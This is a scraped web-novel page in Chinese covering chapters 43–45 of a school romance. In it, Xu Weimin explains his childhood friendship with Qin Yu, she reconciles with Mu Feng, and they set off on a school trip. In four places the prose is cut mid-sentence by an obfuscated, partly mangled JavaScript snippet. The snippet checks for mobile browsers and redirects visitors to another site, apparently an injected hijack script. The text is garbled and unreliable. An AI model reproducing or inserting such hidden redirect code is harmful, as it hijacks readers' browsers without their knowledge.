徐伟民先是愣了一下,接着就笑成了一朵花,“我们从一年级就认识了,算是青梅竹马的关系吧。” 青梅竹马,这个暧昧的词,让穆逢的脸一下子沉下来。 他向前一步,走到徐伟民面前,恶狠狠地瞪着他,“我问的是,你对她,到底有什么想法?” “什么想法?”徐伟民重复着他的话,一脸无辜地说“就是一辈子的好朋友……” 说着,他露出恍然大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133438|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悟的表情,“啊,你在吃醋?”? 被说中心事,穆逢猛地打断他,“别啰嗦,你说清楚,正常的异性朋友,怎么会动不动就拉她的手,还挽她胳膊……” “等一下,等一下……” 熟悉的声音传过来,打断了穆逢的质问,穆逢循声望去,远远地看见秦遇跑过来。 长长的马尾在空中一甩一甩,甩得他的心一跳,又一跳。 谁知秦遇跑过来,一把推开他,站到徐伟民身前,怒气冲冲地瞪着他,“你为什么欺负他?” 她挡在徐伟民身前,一副保护者姿态。 第一次见她这样维护一个人,自己却被当做了敌对的一面。 穆逢看着她,眼中慢慢浮现出受伤的情绪,梗着嗓子说, “我只是叫他出来说话,怎么欺负他了?” “可是,你们、你们那么多人围在外面,我以为……” 经过小花坛的时候,她听见大黑和另一个男生提到穆逢和徐伟民的名字,说他们俩在这里交涉,她才急急忙忙地赶过来。 穆逢往小花坛方向看,果然看见大黑和郑明达几个人,或站或蹲,不时扭头往这边看,显然是在等他。 他可以解释说,自己一早就对大黑说过,让他们先走,他只是和徐伟民两个人聊一聊,可是秦遇不由分说就认定他欺负徐伟民,让他愤怒又难过。 他紧紧抿住嘴唇。 秦遇看出他的不悦,有点后悔自己刚才太冲动,没问清情况就指责他,可是穆逢这边有那么多人,徐伟民却只有一个,这熟悉的场景,让她习惯性地认定徐伟民在受欺负。 正在挣扎间,徐伟民拍了拍她的肩,语气是前所未有的认真。 “没事,让我来,这是我和他之间的对话。” 穆逢盯着他落在秦遇肩头的手,眯起眼。 秦遇转头看徐伟民,徐伟民温和地笑着,冲她点点头,她又转头看向穆逢,谁知一接触到她的目光,穆逢就像被烫到一样移开视线,打定主意不和她对视。 “那,你们聊吧,我先走了。” 秦遇慢慢走开。 既然徐伟民都说了没事,那就一定没事。 她知道穆逢的为人,傲上而不欺下,他一定不会像那些人一样,欺负徐伟民。 看着秦遇的身影消失在教学楼,徐伟民走到穆逢身边,主动开口。 “你误会了,其实我对小遇,并没有那种想法。” 他掏出钱包,从里面拿出一张小照片,主动送到穆逢面前。 “给你看张照片。” 穆逢抬眸,看见一张3寸大小的照片,横版照片上,一男两女三个小学生冲着镜头,笑得十分灿烂。 左边的女孩,有着杏子一样的眼睛,梳两根羊角辫,婴儿肥的苹果脸蛋上,依稀能看出今天的轮廓。 原来她小时候的脸型是圆圆的。 “你看,这是小遇,她从小就爱笑,头发又黑又多。” 徐伟民又指向右边的短发女孩,“这是王媛之,我们的好朋友,二年级的时候她爸爸调去外地工作,她也跟着转学了。” “中间这个小胖子?” 徐伟民点点头,“没错,这个小胖子就是我,我也没想到,后来我会变得这么瘦。” 43. 澄清 “我生下来就很胖,一年级的时候,身高已经快1米4,体重接近110。” “我不仅胖,还很邋遢,再加上人又笨、成绩倒数,所以老师和同学都不喜欢我。” 徐伟民的声音又轻又快,把幼年的故事娓娓道来,像在唱一首轻快的儿歌。 “被男同学踢几脚、打几下,被女同学笑话、骂几句,都是家常便饭,慢慢的,我发现。只要我跟他们一起哈哈笑,他们就会笑得更开心,在那笑声里,我就觉得,好像自己真得融入了他们。” 第三节课的铃声响了,两个人都没动。 穆逢朝大黑挥了挥手,示意他带着其他人回教室。 铃声结束,校园里恢复安静,徐伟民的声音越发清晰。 “有一次,他们不知道从哪里找来一个废弃的狗笼子,让我钻,我也心甘情愿地钻了。那个笼子有个地方破了,一条铁丝划破了我的胳膊,留了不少血,可看着大家都笑,我也跟着笑了。” 徐伟民说着,撸起袖子,向他展示右前臂上的伤疤。 那道白线一样鼓起的伤疤,从腕口一直蜿蜒至手肘。 “就算这样,还是没人愿意和我交朋友。于是,我就更卖力地哗众取宠。很偶然的一次,我上体育课的时候吐了,大家都看我,老师也来关心地问我怎么样。” “从那以后,我就开始频繁在体育课上呕吐,大家都开始说我得了胃病,只有我知道,我是故意的,因为只有这样,我才能得到别人的关注。” “可是他们对我的评价还是没变,我亲耳听见一个同学对另一个同学说,你真恶心,比徐伟民的胖屁股还恶心。原来,在同学眼里,我已经成了恶心的代名词。” 穆逢听得专注,眉头在不知不觉间蹙起。 “你说这么多,和她有什么关系?” “别急,马上就说到小遇了。” 说到这里,徐伟民露出一个朦胧的笑容,像是深陷在回忆里一样。 “她是班里唯一一个愿意理我,和我说话、交流作业的人。她还告诉我,不能嘻嘻哈哈地受欺负,要学会反击。” 徐伟民说着,看向穆逢,“你能相信吗?一开始,我根本就不信她,一个人,怎么跟六十多个人的恶意和冷漠对抗呢?” “可是她很认真地一遍遍教我,她告诉我,首先要把自己收拾干净,才能不让人厌恶。”徐伟民说着,摸了摸自己的袖口,“别看我现在每天都要换衣服,那时候,我从来不洗脸,鼻涕垂到胸口也无所谓,袖口磨得又黑又亮。” “我爸走的早,我妈在学校食堂给大家打菜,我跟着爷爷奶奶在乡下长大,直到一年级上学才到城里来。” “她不仅自己帮我,还带着她的好朋友王媛之一起和我交朋友,她们甚至制定了一个‘徐伟民拯救计划’。” 听着徐伟民的事,穆逢却想起她在全班同学面前站起来,向宋有才解释,他在路边救了老太太的事。 又想起她扇向吕程的那一巴掌。 “其实秦遇这个人,也有不少缺点,她耳根子软,又爱钻牛角尖,不太会拒绝别人,但是,” 徐伟民顿了顿,加重了语气,“她总是站在更弱势的那一边。” 徐伟民看向他,一脸郑重。 “这就是我们之间的故事,我可以肯定地说,是她拯救了那时候的我,虽然,她一直觉得自己做的都是微不足道的小事。” “所以,她对我而言,是非常重要的人,甚至比我将来的伴侣还要重要。” 穆逢的眉毛高高挑起,轻嗤一声,“你这样说,不觉得对未来的人,不公平吗?” 徐伟民珍惜地摩挲着那张发黄的旧照片。 “我才不管什么公不公平,我只知道,小遇对我很重要。” 他小心翼翼地把那张照片,重新塞回钱包里,抬起头看向穆逢,眼神坚决。 “所以,如果你真得喜欢小遇,请你一定、一定要对她好。” “你的意思是,你这样看重她,却不承认喜欢她?” 穆逢那锐利的视线盯着他,像是想从他的神情中寻到一丝破绽。 徐伟民苦笑着摇摇头,“不是我不想,而是我不能。” 他再次打开钱包,高举到穆逢面前,他看见,在那透明的相框里,放着秦遇、徐伟民、王媛之小时候的照片,然后,在照片外的透明软塑料上,贴着一张贴纸。 那是一片彩虹,六色的。 穆逢的瞳孔因震惊而微微放大,在这个瞬间,很多疑问都得到了解答。 比如,他总觉得徐伟民怪怪的,和大黑他们不一样,却又说不出具体哪里不同。 比如,徐伟民总是熟练地挽起秦遇的手臂,秦遇和他凑在一起时,也十分自然,丝毫没有男女之间的避讳,现在想想,真得很像女孩子之间日常手拉手行动。 可是,即使这样,一想到两人亲密到手挽着手,肩挨着肩,他心头还是浓浓的不快。 “这下都说清楚了吧?” 徐伟民把钱包扣好,放回兜里,看向他。 “清楚是清楚,不过,以后你晚上不用来找她了,我负责送她回家。” 穆逢说着,背脊挺得笔直,目光坚定地如同要迎战的士兵。 “如果小遇同意,我也没什么意见,不过……” 徐伟民挠了挠头,露出一个不好意思的笑容,“其实我也害怕一个人回家,你也知道,我们那条巷子,又长又暗,只有一个路灯,灯光又暗……” 穆逢疑惑地眯起眼,“说重点。” “我的意思是,能不能我在巷子口等着你们,我们仨个一起走。” “你看,从学校到巷子口这么长的路,都是你们的,我不打扰,我只害怕穿过巷子那段路。” 穆逢忍了又忍,竭力克制着嘴角的抽搐。 徐伟民露出失望的表情,“你要是不愿意,就算了。” 他拖着步子,慢慢往教学楼走,穆逢看着他弯成虾米的细瘦身影,眼前又浮现那张照片。 8岁的秦遇,有着一双杏子一样的圆眼睛。 他迈开长腿,两步追上了徐伟民,在他肩上猛拍一下。 “好兄弟,你的提议我可以接受,不过我也有个要求,你考虑考虑?” 徐伟民转头,疑惑地看着他,“你说。” “那个,”穆逢慢慢开口,“她小时候的其他照片,你还有吗?” 徐伟民微微张嘴,随即露出一个了然的笑,“有,从小到大的都有,多着呢……” 秦遇十分肯定,穆逢在生她的气。 自从她大声质问他,为什么要欺负徐伟民之后,穆逢就像有意躲着她。 以前,只要一回头,哪怕隔着好几排同学,都能立刻对上他的视线,现在,他不是趴在桌上睡觉,就是无所事事地看窗外。 她只能看见一张淡漠的侧脸。 说起来,自从上次期末成绩出来后,全班人都对穆逢改观,过去他是“桀骜不驯成绩垫底的不良少年”,现在成了“深藏不漏伪装差生其实强得可怕的不良‘扫地僧’”。 无论如何,“不良”这个标签,是无法撕掉了。 与此同时,向他投来的女生目光,也越来越多。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136548|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秦遇就亲耳听见前座的李莉,用感叹的语气说,“我一直以为,只有蔡志高那样的书呆子,才能考班级前三,原来人也可以既能打,又考第一。” 就连一些原本对他嗤之以鼻的女生,都开始用全新的目光打量他。 毕竟,在奉行优绩主义的校园里,成绩比五官和财力更具吸引力。 穆逢刚转学来的时候,收获了一波情书攻势,可是,大概是他打架太过凶狠,又或许是他对女生统统没什么好脸色,渐渐就没人再给他写信了。 这次新学期开始,又有人来送情书,不过,更多的是三五成群的女生聚在一起,只要穆逢经过,就会偷瞄着他议论。 看见这样的情形,姚摇开口提醒她,“注意了,竞争对手变多了。” 秦遇否认,“什么竞争对手,大学之前我不会恋爱的。” 姚摇耸耸肩,“你说不会就不会喽,反正我觉得,过了年以后,你看他的眼神就跟以前不一样了。” “其实,两个人彼此喜欢的话,就算没确认,也跟谈了一样。” 秦遇没吭声。 就在这时,穆逢从前方迎面走来,她正想像往常一样对他笑笑。 穆逢一扭头,和身边的男同学说话,走过她身边。 太可恶了!居然假装没看见她! 看来她上次的话,真得伤害到他了。 体育课上,秦遇心不在焉地挥着羽毛球拍,脑子想的全是要怎么找个机会,化解掉穆逢的别扭。 就在这时,三个陌生的女生朝她走过来。 三个人在离她一米远的地方站住。 她好奇地看着对方,“你们找我?” 中间的女生留着齐耳短发,脸颊飞红,微微低头,样子有些羞怯。 左右两个女生推搡着她,低声说“说呀,加油,我们挺你。” “就是,快问清楚。” 她们的耳语声,很难装做没听见。 秦遇轻咳了一声,大声问“你们找我有什么事?” “是芸芸要找你。” 三人中短头发的女生说着,把中间的女生往前推了一把。 那个叫芸芸的女生犹豫着、嗫嚅着,几次抬起头又低下去,最后,她终于鼓足勇气,说出想说的话。 “秦同学,请你、请你……” 大概是她太过紧张,最开始的几个字像蚊子哼哼一样,根本听不清。 她身后的两个女生提醒她,“先介绍自己。” 叫芸芸的女生慌张地抬起头,“啊,对,我叫黄越芸,是高一(六)班的。” 高一(六)班,原来是徐伟民他们班。 可她完全不认识这三个人。 她疑惑地盯着对方,黄越芸深深吸了口气,终于鼓起勇气,大声说“请你不要再脚踏两条船了!” 这一声中气十足,吓得树上的鸟儿扑棱棱飞走。 秦遇的嘴张成O型,不明白这话从何说起。 两个人都愣在那里,过了好一会才意识到,周围静得不寻常。 秦遇环顾四周,猛然发现,很多视线聚集在两人身上,空气里充满了浓浓的八卦味。 黄越芸的脸红得能滴出血来,又恢复了那种蚊子哼哼一样的声音,嗫嚅着,“对不起,我不是有意的。” “这里人多,我们去那边说。” 秦遇拉起她,走到一处僻静角落。 那两位朋友也跟了过来,保持着不远不近的距离。 秦遇拉她在长椅上坐下,一脸严肃地问她。 “你把话说清楚,为什么说我脚踏两条船?” 44. 拿捏 黄越芸是个腼腆内向的女孩,刚才那句发言,已经用尽她全部勇气,现在,她又恢复了日常的状态,微微缩着脖子,声音小得必须凑近才能听清。 她目光闪烁了一下,犹豫几秒后才开口,“你不是和你们班的穆同学在一起了吗?为什么还要招惹徐伟民呢?” 秦遇吓了一跳,“什么叫我和穆逢在一起了?你不要乱说话。” “我没乱说,我看见了。” 黄越芸抬起头,迎上她的视线,语气认真而笃定。 “我妈妈是旋转餐厅的经理,除夕那天,我去餐厅接她,看见你和穆同学一起看烟花。” “我妈妈说,穆同学付了很多钱,所以餐厅才同意除夕营业半小时,而且只接待你们两个。” 黄越芸说着,露出混杂着羡慕和责怪的神情,“你已经有这么好的男朋友了,为什么还要玩弄徐伟民呢?你们不是邻居吗?你这样对他,是不是太残忍了?” 秦遇连连摆手,“只是一起看烟花,算不上是男女朋友,只是好朋友,好朋友啦。” “还有,玩弄什么的,太过分了,我并没有。” “因为巷子里出了命案,他妈和我妈商量好了,让我们俩晚自习后一起回家,这样大人都放心。” “事情就是这么简单。” 可是黄越芸的表情,并没有变轻松一点,她咬了咬下唇,“秦同学,你该不会真不知道,徐伟民喜欢你吧?” 迎上她怀疑的目光,秦遇一怔,立刻哈哈笑起来,“怎么可能,他可是……” 那个gay字就在嘴边,却硬生生咽了回去。 黄越芸正泪眼朦胧地看着她。 “秦同学,我拜托你不要把这当成一个笑话,你知不知道他一直把你们的照片放在钱包里?你知不知道他有多珍惜你?” “哎,你别哭啊。” 秦遇手忙脚乱地翻出纸巾,递给她。 黄越芸伸手接过,说了声“谢谢”,擦掉眼泪。 秦遇叹了一口气,她当然知道那张照片,那还是她帮忙剪的呢,当时洗了三张,她、徐伟民、王媛之一人一张。 “有一次,那张照片掉了出来,被值日的同学扫进垃圾桶,又倒进学校的垃圾池,他进去翻了半小时,才找出来。” “他平时那么爱干净,那天却徒手翻了很多垃圾,那时候我就知道,你对他有多重要了。” “可是,那真的只是友情,是感情深厚的友情。” 黄越芸抽着鼻子,“我不信。” 到现在,秦遇已经明白过来,黄越芸喜欢徐伟民,所以来为他打抱不平。 秦遇眼珠子一转,凑近她,“我告诉你一个秘密。” “其实,我小时候救过他的命,有一次,他不小心掉进河里……” 秦遇绘声绘色地编了一段勇救落水儿童的故事,黄越芸眨巴着眼睛听了,半信半疑。 “你是说,他把你当救命恩人,所以才这样珍惜你们的合照?” 秦遇大言不惭道,“对,我姑且算是他的再生父母吧。” 反正徐伟民不在,口头上占他便宜,也没什么大不了。 “你问了我那么多,现在该我问你了,你为什么喜欢徐伟民?” “我,”黄越芸一惊,直接从座位上站起来,“你怎么知道?” “你这不就等于变相承认了吗?” “说得也是。” 黄越芸呆呆地点点头,秦遇觉得,她这副老实单纯的模样,和自己上一世很像,心里对她就多了几分亲近。 “我没见过像他这样温柔的男生,他总是乐呵呵的,跟我说话也轻声细语。” “他不像其他男生那么粗鲁,也不像他们那么邋遢。” 黄越芸慢慢说起来。 “我也没有别的想法,我只想着,每天晚自习结束,能和他一起走到学校门口,这样我就很开心了。” 秦遇明白了,现在,这一点小小的快乐,也被她夺走了。 “对了,他什么也不知道,我拜托你,不要告诉他。” 黄越芸绞着双手,不安地说。 秦遇想了想,走到她身边坐下。 “这样吧,以后晚上我不和他一起走,他就能陪你走到学校门口了。” “可是,你自己回家不害怕吗?毕竟刚刚发生了凶案。” “嗨,你不是说我有男朋友吗?我叫他送我。” 黄越芸指着她,“啊,你承认了!” 秦遇笑了笑,按下她的手,压低声音说“你的心思我不告诉徐伟民,你也要帮我保守看烟花的秘密,成交吗?” 黄越芸和她对视两秒,重重点头,伸出小指,“一言为定”。 “一言为定。” 两人的小指勾在一起。 下午放学后,秦遇特意没回家吃饭,她要去找穆逢。 她知道去哪里找他。 她在体育器材室外面的走廊里拦住他。 球队里的其他男生,坏笑着跑开,有人跑到远处,吹了一声口哨,接着,是一片打闹声和笑声。 两世为人,这些起哄现在已经无法影响她了,不过,要哄好面前这个面色不虞的少年,她还是稍稍感到些压力。 秦遇闭上眼,深吸了一口气,郑重开口, “对不起。” 睁开眼,面前已经空无一人,只有斑驳的天花板和明镜一样的水泥地板。 一回头,穆逢已经迈着长腿走开。 她急忙追上去。 “我不该误会你。” 穆逢目不斜视,脚步不停。 “对不起。” 穆逢看也不看她,从鼻子发出一声冷哼。 眼看就要走到一楼和二楼的拐角处,她灵机一动,“哎吆”一声,身子往一边倒。 穆逢果然冲过来扶住她。 “怎么了?崴脚了?别怕,我帮你看看……” 他焦急地说着,一低头,看见她唇角狡黠的笑,瞬间明白过来,脸色一沉,松开揽着她后背的手。 “你装的。” 秦遇顺势抓住他的手臂,仰头看他,“对不起,之前是我弄错了,我知道,你不是欺负弱小的人。” 穆逢冷哼一声,视线移向天花板,不看她。 她转到他正对面,踮起脚尖,努力凑到他面前。 “要怎么样你才能原谅我?” “不知道。” 总算是开口说话了,有突破口。 秦遇干脆拉住他的手,轻轻摇着。 “拜托,别生气了,我们和好吧。” 她露出像小狗一样可怜巴巴的眼神,充满期待地看着他。 穆逢从没见过她这个样子,只觉得一股酥麻感从尾椎骨蹿起,直冲天灵盖。那点不快,早就化成了水汽,蒸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144533|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发到不知哪里去了。 她在哄他,是不是? 她在对他撒娇,是不是? 真想多看看这样的她,可是,做不到! 无法再对这样的她,继续冷淡下去! 他清了清嗓子,别扭地说,“我看见了,你跟他手拉手。” 他的语气又冷又硬,说出口的,却是委屈和抱怨。 这个他,指的自然是徐伟民。 秦遇摇头,“没有啊,不过有时候他会挽着我的胳膊。” “撒谎!”穆逢转过头,目光凶狠地盯着她,“前天晚上,下了晚自习,你们在篮球场上说了很久的话,他还握着你的手。” 秦遇努力思索了半天,眼睛一亮, “你误会了,不是什么握手,是我让他教我怎么给手链收尾。” “你看,就是这个。” 秦遇说着,从口袋里掏出那条黑绿色的编织手链,举到他眼前。 穆逢盯着那条摇摇晃晃的手链,看了两秒,目光渐冷。 “这是你编的?” 秦遇还没明白他的意思,得意地一抬下巴,“当然。” 穆逢逼近她,他眼里莫名的压迫感,让她下意识后退了一步。 背上传来一阵凉意。 那是坚硬的墙壁。 穆逢弯下腰,一手撑墙凑近她,和她平视。 “这是男生戴的款式吧?你给谁编的?别告诉我,又是徐伟民。” “秦遇,我告诉你,不要在我面前展示你们那感人的友情……” 他的威胁发言还没说完,秦遇已经自顾自握住了他的左手腕。 正好是他按在墙上的那只手。 她的手小,一只手握不过来,于是两手合拢,比划了一下,对他灿然一笑。 “长度正好,不用返工了。” 她说着,就来拉他的手,而他没有一丝抗拒,任她拉过去。 这是给他编的? 这是给他编的! 穆逢愣在那里,自己刚刚的行为,就像一拳打在了棉花上,拔剑四顾心茫然。 秦遇低下头,认真给他戴手链。 她把那条手链放到最宽松,从他左手上套下去,在手腕处拉紧。 又伸出一根手指,插入手链和手腕中间,确保有一点空间,不会勒到他。 黑绿麻线编成的手链,软硬适中,不紧不松地贴着皮肤,中间嵌着一颗水晶姜饼人。 长长的走廊里,安静无比,窗外婆娑的树影,投在地板上,投在墙壁上,投在两个人的身上,轻轻摇晃。 校园里的喧嚣声远远传来,让空气更显沉静。 她的声音响起,清脆剔透,像一颗颗水晶珠滚过。 “刚编好,本来想好好包装一下,再送给你的。” “我有注意到,你喜欢绿色,所以给你选了这个配色。” “姜饼人是我的最爱,你好好珍惜,不要弄丢。” “还有,我这个人手很笨,编这一条手链用了好久,你要好好戴着。” 她抬起头,一双带笑的眼睛认真看着他。 “这是我送你的新年礼物,虽然有点晚了,不过,心意不变,你喜欢吗?” 情况突变,穆逢一时没反应过来,脸上还残留着一点怒气。 可那高高扬起的嘴角,怎么压都压不住。 “喜……喜欢。” 45. 出行 一上大巴,汽油味和沉闷的车厢空气扑面而来,秦遇皱了皱眉,找了个靠窗的位置坐下。 每年五月,她所在的二中会和周围五个城市的高中举行交流活动,其中既有类似奥数的考试,也有诗歌朗诵、成语接龙等活动。 今年活动在C市举行,离他们所在的城市有三个小时的路程。 她要参与的是英语诗朗诵,早在一个月前,班主任宋有才就把备选诗题目给了她,她从其中挑了莎翁的十四行诗,《我可否将你比作夏日的一天?》 一位叫黄琳的音乐生,负责为她作钢琴伴奏。 两人在音乐教室排练了好几次,彼此配合越来越默契,已经到了可以随着对方的节奏,及时调整的程度。 透过模糊陈旧的车窗玻璃,她看见穿着校服的同学陆续上车,远远的,看见吕程的身影,她皱了皱眉。 还好他上了另一辆大巴。 “咦,这车可真破!” 一个男生抱怨着,坐到她旁边。 秦遇转过头,是班长蔡志高。 她刚才一直侧着脸,蔡志高没想到是她,一愣之后,露出一个得意的笑。 这种笑容,自从期末考试他赢过秦遇,拿了语文单科第一之后,就常常出现在他脸上。 秦遇扯了扯嘴角,算是打过招呼,转头继续看向窗外。 太阳已经完全从地平线上升起,放出万道霞光,原本聚集了大批学生的停车场,此刻只剩零星几个人。 随车的老师掏出名单,开始挨个核对人名。 “既然没问题,请同学们坐好,绑好安全带,我们马上就关车门出发。” 随着一阵颤动,大巴车缓缓启动。 “路上如果有同学晕车,或者感到不舒服,要随时告诉老师,哎哟……” 车身忽然停住,站在过道最前面的老师身子一晃,差点趴在地上,吓得他紧紧抱住了最近的座椅。 车门打开,两位迟到的同学上车。 蔡志高伸长脖子看了看,见没什么事,又转过头来,看着秦遇,露出一个意味深长的笑。 那是属于胜利者的微笑,混杂着得意、骄傲,和一丝丝对手下败将的怜悯。 秦遇不想理他,从书包里掏出随身听,可惜还没戴上耳机,蔡志高就开始说话了。 “真是不好意思,秦遇同学,这次语文第一的宝座被我占了,我也没想到,就连这次参加联赛,高一年级只选一个的语文科目代表,也是我。” 他说着,特意挺直了身子,又耸了耸肩,脸色十分庄重,仿佛整个学校的荣誉都担在他肩上。 秦遇漫不经心地“哦”了一声,把耳机塞进耳朵里。 真想把蔡志高的声音都隔绝掉,可惜这年代还没有降噪耳机。 随身听的透明棱镜窗口上,映出一个人的倒影。 接着,就听见蔡志高略带结巴的声音响起,“你干、干什么?” “阴阳怪气谁呢?欺负她好说话?!” 冷冷的声音,是这样熟悉。 秦遇猛然抬头,靛蓝色的鸭舌帽映入眼中,压得低低的帽檐下,一双锐利的眸子对上她,眼里的不耐和厌恶瞬间冰消雪融。 她下意识出口,“你怎么来了?” 明明前天说有事去外地,不能参加这次活动,她还为此心情低落了两天。 “提前办完事,就赶过来了。” 穆逢说着,一把揪起蔡志高领口的衣服,把他几乎提离地面。 “我上次说过,再让我听见你这样跟她说话,我一定打到你爬不起来。” “看来,你是皮痒了。” 穆逢说着,左手握紧成拳,就要往他脸上招呼。 蔡志高脸色刷一下惨白,头摇得和拨浪鼓一样,“不说了,不说了……” 秦遇慌得起身来拉穆逢,“别,不能在这里动手。” 随身听从她腿上滑落,在地上磕出响声。 周围的同学都看过来,老师也扶着座椅走过来。 这位老师是高二的,虽然不教他们班,但对穆逢曾经的事迹和“一考逆袭”的事情,也有所耳闻。 “怎么了?发生什么事了?” 秦遇攥紧他的袖子,紧张地对他摇摇头,眼神里写满担忧。 穆逢身上的戾气立刻消退大半,给了她一个安抚的眼神。 “没事,我们的班长说,他要和我换位子。” 他说着,伸出手,慢慢理了理蔡志高的校服领子,一字一句道,“你说是不是,蔡班长?” 他的声音礼貌又温和,眼神冷得却像在看一团垃圾。 蔡志高根本不敢和他对视,垂下头,低声说着“是”,拿起座位上的书包,坐到了前面的空位上。 刚才的得意和炫耀,早已不见踪影。 穆逢弯腰,捡起秦遇的随身听,递给她。 秦遇接过来爱惜地翻检,“还好,没摔坏。” 穆逢语气轻松,“怕什么,坏了我再给你买一个。” “那怎么一样,这可是新年礼物。” 看着秦遇这么珍惜他送的礼物,穆逢的嘴角高高翘起,怎么压都压不住。 秦遇狐疑地看他一眼,“你不觉得,你最近笑太多了吗?” 穆逢收敛了神色,轻咳一声,从她手里拿过一根耳机线,“在听什么歌?一起吧。” 秦遇点点头,和穆逢两个一人一根耳机线,塞进耳孔。 按下播放键,朴树温暖而略带沙哑的嗓音缓缓流出。 “…… 穿新衣吧剪新发型呀 轻松一下Windows98 …… 我们的未来该有多酷” 《NewBoy》,这是一首唱给千禧年的歌,站在世纪末的拐角,对即将到来的新世纪,充满希望和期待。 Windows98、奔腾电脑,谁能想到,歌词里的这些新潮事物,数年后都从人们的生活中退场,电脑带来的不止是“轻松一下”,更模糊了工作和生活的界限。 那句“快来吧奔腾电脑,就让它们代替我来思考”几乎成了某种预言,多年后,AI时代彻底降临,写诗、画画、写论文,这些看起来颇有门槛的领域被迅速侵占,惊喜和恐惧裹挟着身处剧变中的一代人。 经历过这一切的秦遇,回到千禧年初,再听到这首歌,置身恍然如梦的盛大幻觉。 或许,在时间的洪流里,人始终只能被裹挟着,往前走。 在种种交错的画面中,她轻轻闭上眼,不知不觉睡着了。 尽管睡着了,身体还记着要往窗边靠,有两次,她的头轻轻碰到窗上,身体在意识沉睡时,自动调整了姿势,过了一会,身子一歪,又靠过去。 穆逢看着她这样,实在是忍不住,干脆伸出手,轻按她的头,让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148733|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠在自己身上。 肩膀比车窗舒服不少,秦遇闭着眼动了动,找了个舒服的姿势,安安稳稳地靠在他肩上。 穆逢一动不动,只是眼睛向下,打量她睡着的样子。 她的皮肤白皙细腻,让他想起幼时家中摆放的白瓷瓶,不长不短的睫毛微微上翘,随着车身行走而微微颤动,像在亲吻眼睑。 刚才微微皱起的眉头,此刻也舒展开,不知道是因为睡得舒服了,还是梦见了开心的事。 唯一可惜的是,那双杏子般明亮的眼睛,安静地阖着。 不过,只有这样,他的目光才能肆无忌惮地在她脸上流连。 一股清甜的香气从她身上隐隐传来,若有似无,让他忍不住凑近,闻一闻,再闻一闻。 低一点,再低一点。 碰到了。 微痒的、毛绒绒的触感,从下巴蔓延开来。他的下巴轻轻抵着她的头发,生怕再重一点,就会把她惊醒。 蔡志高从车头拿了矿泉水回来,看见的就是这一幕。 秦遇闭着眼,靠在穆逢肩上,而那个一向张扬凶狠的穆逢,脸上居然露出那样温柔的神情。 他惊愕地看着他们,一时竟忘了走路。 察觉到异样的目光,穆逢不悦地抬起头,冰刃一样的视线射过来,蔡志高一愣,低头冲到座位上坐下。 他的心扑通扑通地跳起来。 不过,这种感觉并不是害怕。 在天文地理的知识海洋之外,在他那被成绩、名次和荣誉塞的满满当当的世界里,裂开了一道缝隙,从那缝隙中,漏进来一束陌生的光。 很多年以后,他才知道,那束光,叫做喜欢。那是两个人之间纯粹的、原始的吸引,不掺杂名次、财力、荣誉和掌声。 大巴车在服务区停下,学生们纷纷下车透气,秦遇揉着眼睛醒来,发现自己还靠在穆逢身上,立刻坐直了身子。 穆逢嘴里发出一声轻嗬,抬起胳膊,活动了一下。 “你怎么了?” 穆逢龇牙咧嘴地说,“胳膊麻了。” 一边说,一边揉肩膀。 秦遇十分过意不去,“我帮你揉揉。” 穆逢眼睛一亮,把胳膊送到她面前。 按着按着,她觉得有点不对劲,视线向周围一扫,发现车上还有零星几个同学,虽然座椅很高,挡住了一些视线,但给男同学揉胳膊这种事情,在这个场合显然不合适。 再一抬眸,穆逢正一瞬不瞬地盯着她,目光里的灼热,让她觉得自己下一秒就要被盯穿了。 她立刻收回手。 穆逢不甘心,“怎么不按了?我这条胳膊还麻着。” 秦遇站起来,目视前方,义正言辞道“你自己揉吧,我要去洗手间。” 穆逢看着她一秒紧绷的神情,薄瓷一样的下巴,笑意几乎从嘴角溢出来。 两人一前一后下了大巴。 从洗手间出来,秦遇洗完手,正在对着镜子理头发,两个跟她穿一样校服的女生,从镜子里走过,交谈的声音清晰地传入她耳中。 “……在男厕所里晕倒了,口吐白沫,被人拖出来的。” “听说是高一(二)班的,老师们都过去了……” 秦遇怔怔地看着镜子里的自己,一秒后,她像一阵风一样跑出去。 